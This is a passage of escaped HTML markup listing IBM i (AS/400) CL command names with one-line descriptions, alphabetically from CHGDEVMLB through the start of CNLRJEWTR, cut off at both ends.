style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVMLB Change Device Desc (Media Lib)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVNET Change Device Desc (Network)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVOPT Change Device Desc (Optical)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVPR Change Device Desc (Printer)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVRTL Change Device Desc (Retail)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVSNPT Change Device Desc (SNPT)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVSNUF Change Device Desc (SNUF)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVTAP Change Device Desc (Tape)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDIRE Change Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDIRSHD Change Directory Shadow System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDKTF Change Diskette File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDLOAUD Change DLO Auditing Level\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDLOAUT Change DLO Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDLOOWN Change DLO Owner\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDLOPGP Change DLO Primary Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDOCD Change Do*****ent Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDSPF Change Display File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDSTA Change Distribution Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDSTD Change Distribution\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDSTL Change Distribution List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDSTPWD Change DST Password\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDSTQ Change Distribution Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDSTRTE Change Distribution Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDTA Change Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDTAARA Change Data Area\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGEMLCFGE Change Configuration Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGENVVAR Change Environment Variable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGEWCBCDE Change EWC Barcode Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGEWCM Change Wireless Ctl Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGEWCPTCE Change EWC PTC Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGEWLM Change Wireless Line Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGEXPSCDE Change Expiration Scd Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGFCNARA Change Functional Area\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGFCT Change Forms Control Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGFCTE Change Forms Control Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGFTPA Change FTP Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGFTR Change Filter\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGGPHFMT Change Graph Format\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGGPHPKG Change Graph Package\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGGRPA Change Group Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGHLLPTR Change HLL Pointer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGHTTPA Change HTTP Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGICFDEVE Change ICF Device Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGICFF Change ICF File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGIPIADR Change IP over IPX Address\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGIPIIFC Change IP over IPX Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGIPLA Change IPL Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGIPSIFC Change IP over SNA Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGIPSLOC Change IP over SNA Location\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGIPSTOS Change IP over SNA TOS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGIPXCCT Change IPX Circuit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGIPXD Change IPX Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGJOB Change Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGJOBD Change Job Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGJOBJS Change Job using Job Scheduler\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGJOBQE Change Job Queue Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGJOBSCDE Change Job Schedule Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGJOBTYP Change Job Type\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGJRN Change Journal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGKBDMAP Change Keyboard Map\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLANADPI Change LAN Adapter Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLF Change Logical File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLFM Change Logical File Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLIB Change Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLIBL Change Library List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLICINF Change License Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINASC Change Line Desc (Async)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINBSC Change Line Desc (BSC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINDDI Change Line Desc (DDI)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINETH Change Line Desc (Ethernet)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINFAX Change Line Desc (Fax)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINFR Change Line Desc (Frame Relay)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINIDLC Change Line Desc (IDLC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINNET Change Line Desc (Network)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINSDLC Change Line Desc (SDLC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINTDLC Change Line Desc (TDLC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINTRN Change Line Desc (Token-Ring)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINWLS Change Line Desc (Wireless)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLINX25 Change Line Desc (X.25)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGLPDA Change LPD Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGM36CFG Change Machine Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGMNU Change Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGMOD Change Module\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGMODD Change Mode Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGMSGD Change Message Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGMSGF Change Message File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGMSGQ Change Message Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNCK Change Nickname\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNETA Change Network Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNETJOBE Change Network Job Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNFSEXP Change NFS Export\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNODGRPA Change Node Group Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNTBD Change NetBIOS Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNWIATM Change NWI ATM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNWIFR Change Network Interface (FR)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNWIISDN Change Network Interface ISDN\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNWSA Change NWS Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNWSALS Change Network Server Alias\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNWSD Change Network Server Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGNWSUSRA Change NWS User Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGOBJAUD Change Object Auditing\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGOBJD Change Object Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGOBJOWN Change Object Owner\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGOBJPGP Change Object Primary Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGOPTA Change Optical Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGOPTVOL Change Optical Volume\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGOUTQ Change Output Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGOWN Change Owner\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPCOPRF Change PC Organizer Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPDGPRF Change PDG Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPEXDFN Change PEX Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPF Change Physical File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPFCST Change PF Constraint\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPFM Change Physical File Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPFRCOL Change Performance Collection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPGM Change Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPGMVAR Change Program Variable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPGP Change Primary Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPJ Change Prestart Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPJE Change Prestart Job Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPOPA Change POP Server Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPRB Change Problem\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPRBACNE Change Problem Action Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPRBSLTE Change Problem Selection Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPRF Change Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPRTF Change Printer File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPSFCFG Change PSF Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPTR Change Pointer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPWD Change Password\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPWRSCD Change Power On/Off Schedule\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGPWRSCDE Change Power Schedule Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGQRYA Change Query Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGQSTDB Change Q/A Database\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRCYAP Chg Recovery for Access Paths\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRDBDIRE Change RDB Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRJECMNE Change RJE Communication Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRJERDRE Change RJE Reader Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRJEWTRE Change RJE Writer Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRMTDFN Change Remote Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRPYLE Change Reply List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRTDA Change RouteD Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRTGE Change Routing Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRWSPWD Change RWS Controller Password\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGRXCA Change REXEC Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGS34LIBM Change S/34 Library Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGS36 Change S/36 Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGS36A Change S/36 Environment Attr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGS36MSGL Change S/36 Message List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGS36PGMA Change S/36 Program Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGS36PRCA Change S/36 Proc Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGS36SRCA Change S/36 Source Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSAVF Change Save File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSBSD Change Subsystem Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSCHIDX Change Search Index\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSECA Change Security Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSECAUD Change Security Auditing\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSHRPOOL Change Shared Storage Pool\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSMTPA Change SMTP Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSNILOC Change SNA over IPX Location\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSNMPA Change SNMP Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSPLFA Change Spooled File Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSRCPF Change Source Physical File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSRVA Change Service Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSRVPGM Change Service Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSSND Change Session Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSSNMAX Change Session Maximum\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSYSDIRA Change System Dir Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSYSJOB Change System Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSYSLIBL Change System Library List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGSYSVAL Change System Value\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGTAPCTG Change Tape Cartridge\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGTAPF Change Tape File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGTCPA Change TCP/IP Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGTCPHTE Change TCP/IP Host Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGTCPIFC Change TCP/IP Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGTCPLNK Change TCP/IP Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGTCPRTE Change TCP/IP Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGTELNA Change TELNET Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGTFTPA Change TFTP Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGUSRAUD Change User Auditing\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGUSRPRF Change User Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGUSRPRTI Change User Print Info\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGVAR Change Variable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGVT1MAP Change VT100 keyboard map\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGVTMAP Change VT Keyboard Map\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGWSE Change Work Station Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGWSGA Change WSG Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGWTR Change Writer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKCMNTRC Check Communications Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKDKT Check Diskette\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKDLO Check Do*****ent Library Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKIN Check In Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKOBJ Check Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKOBJITG Check Object Integrity\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKOUT Check Out Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKPRDOPT Check Product Option\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKPWD Check Password\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKRCDLCK Check Record Locks\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKS36SRCA Check S/36 Source Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHKTAP Check Tape\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLOF Close File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLRDKT Clear Diskette\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLRJOBQ Clear Job Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLRLIB Clear Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLRMSGQ Clear Message Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLROUTQ Clear Output Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLRPFM Clear Physical File Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLRPOOL Clear Pool\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLRSAVF Clear Save File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLRTRCDTA Clear Trace Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCMD Command Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCMPJRNIMG Compare Journal Images\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCMPPFM Compare Physical File Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCMPPTFLVL Compare PTF Level\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCNLRJERDR Cancel RJE Reader\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCNLRJEWTR Cancel RJE 